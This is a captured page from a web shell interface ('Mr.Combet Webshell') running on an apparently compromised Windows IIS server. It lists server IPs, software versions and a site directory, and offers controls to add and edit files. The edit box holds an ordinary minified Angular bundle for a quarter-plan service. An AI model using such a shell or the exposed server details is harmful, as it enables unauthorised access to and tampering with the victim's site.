Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
ActionAidWeb
/
Edit File Name :
18-es2015.eac7378a012fb9a9bdf3.js
(window["webpackJsonp"] = window["webpackJsonp"] || []).push([[18],{ /***/ "./src/@fuse/directives/fuse-inner-scroll/fuse-inner-scroll.directive.ts": /*!*******************************************************************************!*\ !*** ./src/@fuse/directives/fuse-inner-scroll/fuse-inner-scroll.directive.ts ***! \*******************************************************************************/ /*! exports provided: FuseInnerScrollDirective */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "FuseInnerScrollDirective", function() { return FuseInnerScrollDirective; }); /* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm2015/core.js"); /* harmony import */ var rxjs__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! rxjs */ "./node_modules/rxjs/_esm2015/index.js"); /* harmony import */ var rxjs_operators__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! rxjs/operators */ "./node_modules/rxjs/_esm2015/operators/index.js"); class FuseInnerScrollDirective { /** * Constructor * * @param {ElementRef} _elementRef * @param {FuseMatchMediaService} _fuseMediaMatchService * @param {Renderer2} _renderer */ constructor(_elementRef, _fuseMediaMatchService, _renderer) { this._elementRef = _elementRef; this._fuseMediaMatchService = _fuseMediaMatchService; this._renderer = _renderer; // Set the private defaults this._unsubscribeAll = new rxjs__WEBPACK_IMPORTED_MODULE_1__["Subject"](); } // ----------------------------------------------------------------------------------------------------- // @ Lifecycle hooks // ----------------------------------------------------------------------------------------------------- /** * On init */ ngOnInit() { // Get the parent this._parent = this._renderer.parentNode(this._elementRef.nativeElement); // Return, if there is no parent if (!this._parent) { return; } // Get the grand parent this._grandParent = this._renderer.parentNode(this._parent); // Register to the media query changes this._fuseMediaMatchService.onMediaChange .pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__["takeUntil"])(this._unsubscribeAll)) .subscribe((alias) => { if (alias === 'xs') { this._removeClass(); } else { this._addClass(); } }); } /** * On destroy */ ngOnDestroy() { // Return, if there is no parent if (!this._parent) { return; } // Remove the class this._removeClass(); // Unsubscribe from all subscriptions this._unsubscribeAll.next(); this._unsubscribeAll.complete(); } // ----------------------------------------------------------------------------------------------------- // @ Private methods // ----------------------------------------------------------------------------------------------------- /** * Add the class name * * @private */ _addClass() { // Add the inner-scroll class this._renderer.addClass(this._grandParent, 'inner-scroll'); } /** * Remove the class name * @private */ _removeClass() { // Remove the inner-scroll class this._renderer.removeClass(this._grandParent, 'inner-scroll'); } } /***/ }), /***/ "./src/app/quarter-plan/qpp/qpp.service.ts": /*!*************************************************!*\ !*** ./src/app/quarter-plan/qpp/qpp.service.ts ***! \*************************************************/ /*! exports provided: QppService */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "QppService", function() { return QppService; }); /* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js"); /* harmony import */ var environments_environment__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! environments/environment */ "./src/environments/environment.ts"); /* harmony import */ var _angular_common_http__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @angular/common/http */ "./node_modules/@angular/common/fesm2015/http.js"); /* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm2015/core.js"); /* harmony import */ var _core_services_web_api_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../../core/services/web-api.service */ "./src/core/services/web-api.service.ts"); /* harmony import */ var _core_services_utility_service__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../../core/services/utility.service */ "./src/core/services/utility.service.ts"); class QppService { constructor(webApiService, utilityService, http) { this.webApiService = webApiService; this.utilityService = utilityService; this.http = http; this.basePath = environments_environment__WEBPACK_IMPORTED_MODULE_1__["environment"].apiUrl; this.planPath = this.basePath + "Plan/"; } getAllQuarterPlan() { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetAllQuarterPlanList`) .toPromise(); }); } getQuarterPlan(department_ids, unit_ids, years, quarters, qpp_status, qpr_status, pageNumber, pageSize) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetQuarterPlanList`, { department_ids: department_ids, unit_ids: unit_ids, years: years, quarters: quarters, qpp_status: qpp_status, qpr_status: qpr_status, pageNumber: pageNumber, pageSize: pageSize, }) .toPromise(); }); } getAllQuarterPlanList(department_ids, unit_ids, years, quarters, qpp_status, qpr_status, pageNumber, pageSize) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetAllDepUnitQuarterPlanList`, { department_ids: department_ids, unit_ids: unit_ids, years: years, quarters: quarters, qpp_status: qpp_status, qpr_status: qpr_status, pageNumber: pageNumber, pageSize: pageSize, }) .toPromise(); }); } getQPP() { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetQPPList`) .toPromise(); }); } getKRAByQppId(qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetKRAListByQppId`, { qpp_id: qpp_id }) .toPromise(); }); } GetKRAListByPlanParamsAsync(department_id, unit_id, year, quarter) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetKRAListByPlanParamsAsync`, { department_id: department_id, unit_id: unit_id, year: year, quarter: quarter }) .toPromise(); }); } getCoordinationByQppId(qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetCoordinationListByQppId`, { qpp_id: qpp_id, }) .toPromise(); }); } getMobilizationByQppId(qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetMobilizationListByQppId`, { qpp_id: qpp_id, }) .toPromise(); }); } getQPPDetail(qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetQPPDetail`, { qpp_id: qpp_id }) .toPromise(); }); } getQPRDetail(qpp_id) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetQPRDetail`, { qpp_id: qpp_id }) .toPromise(); }); } QPPexport(qpp_id) { return this.http.get(`${this.planPath}exportQPPDetail?qpp_id=${qpp_id}`, { responseType: "blob", }); } QPRexport(qpp_id) { return this.http.get(`${this.planPath}QPRexport?qpp_id=${qpp_id}`, { responseType: "blob", }); } getCheckDuplicatePlan(department_id, unit_id, year, quarter) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetCheckDuplicatePlan`, { department_id: department_id, unit_id: unit_id, year: year, quarter: quarter, }) .toPromise(); }); } insertQPP(data) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { let token = this.utilityService.getLocalStorage("AAN", "token"); let options = { headers: new _angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpHeaders"]({ Authorization: "Bearer " + token, }), }; console.log("qpp options:", options); return yield this.webApiService .postWithOptions(`${this.planPath}InsertQPP`, data, options) .toPromise(); //return this.http.post(`${this.planPath}InsertQPP`, data, options); }); } updateQPP(data) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { let token = this.utilityService.getLocalStorage("AAN", "token"); let options = { headers: new _angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpHeaders"]({ Authorization: "Bearer " + token, }), }; console.log("qpp options:", options); return yield this.webApiService .postWithOptions(`${this.planPath}UpdateQPP`, data, options) .toPromise(); //return this.http.post(`${this.planPath}InsertQPP`, data, options); }); } // async updateQPP(data: any) { // return await this.webApiService.put(`${this.planPath}UpdateQPP`, data).toPromise(); // } completeQPP(dta) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .post(`${this.planPath}CompleteQPP`, dta) .toPromise(); }); } qppValidityCheck(data) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { let token = this.utilityService.getLocalStorage("AAN", "token"); let options = { headers: new _angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpHeaders"]({ Authorization: "Bearer " + token, }), }; return yield this.webApiService .post(`${this.planPath}qppValidityCheck`, data, options) .toPromise(); }); } approveQPP(dta) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .post(`${this.planPath}ApproveQPP`, dta) .toPromise(); }); } resetQPP(dta) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .post(`${this.planPath}ResetQPP`, dta) .toPromise(); }); } // async fullResetQPP(dta: any) { // return await this.webApiService.post(`${this.planPath}FullResetQPP`, dta).toPromise(); // } getCheckQuarterPlan(department_id, unit_id, year, quarter) { return tslib__WEBPACK_IMPORTED_MODULE_0__["__awaiter"](this, void 0, void 0, function* () { return yield this.webApiService .get(`${this.planPath}GetCheckQuarterPlanByDepartmentIdAndUnitId`, { department_id: department_id, unit_id: unit_id, year: year, quarter: quarter, }) .toPromise(); }); } } QppService.ngInjectableDef = _angular_core__WEBPACK_IMPORTED_MODULE_3__["ɵɵdefineInjectable"]({ factory: function QppService_Factory() { return new QppService(_angular_core__WEBPACK_IMPORTED_MODULE_3__["ɵɵinject"](_core_services_web_api_service__WEBPACK_IMPORTED_MODULE_4__["WebApiService"]), _angular_core__WEBPACK_IMPORTED_MODULE_3__["ɵɵinject"](_core_services_utility_service__WEBPACK_IMPORTED_MODULE_5__["UtilityService"]), _angular_core__WEBPACK_IMPORTED_MODULE_3__["ɵɵinject"](_angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpClient"])); }, token: QppService, providedIn: "root" }); /***/ }) }]);
Save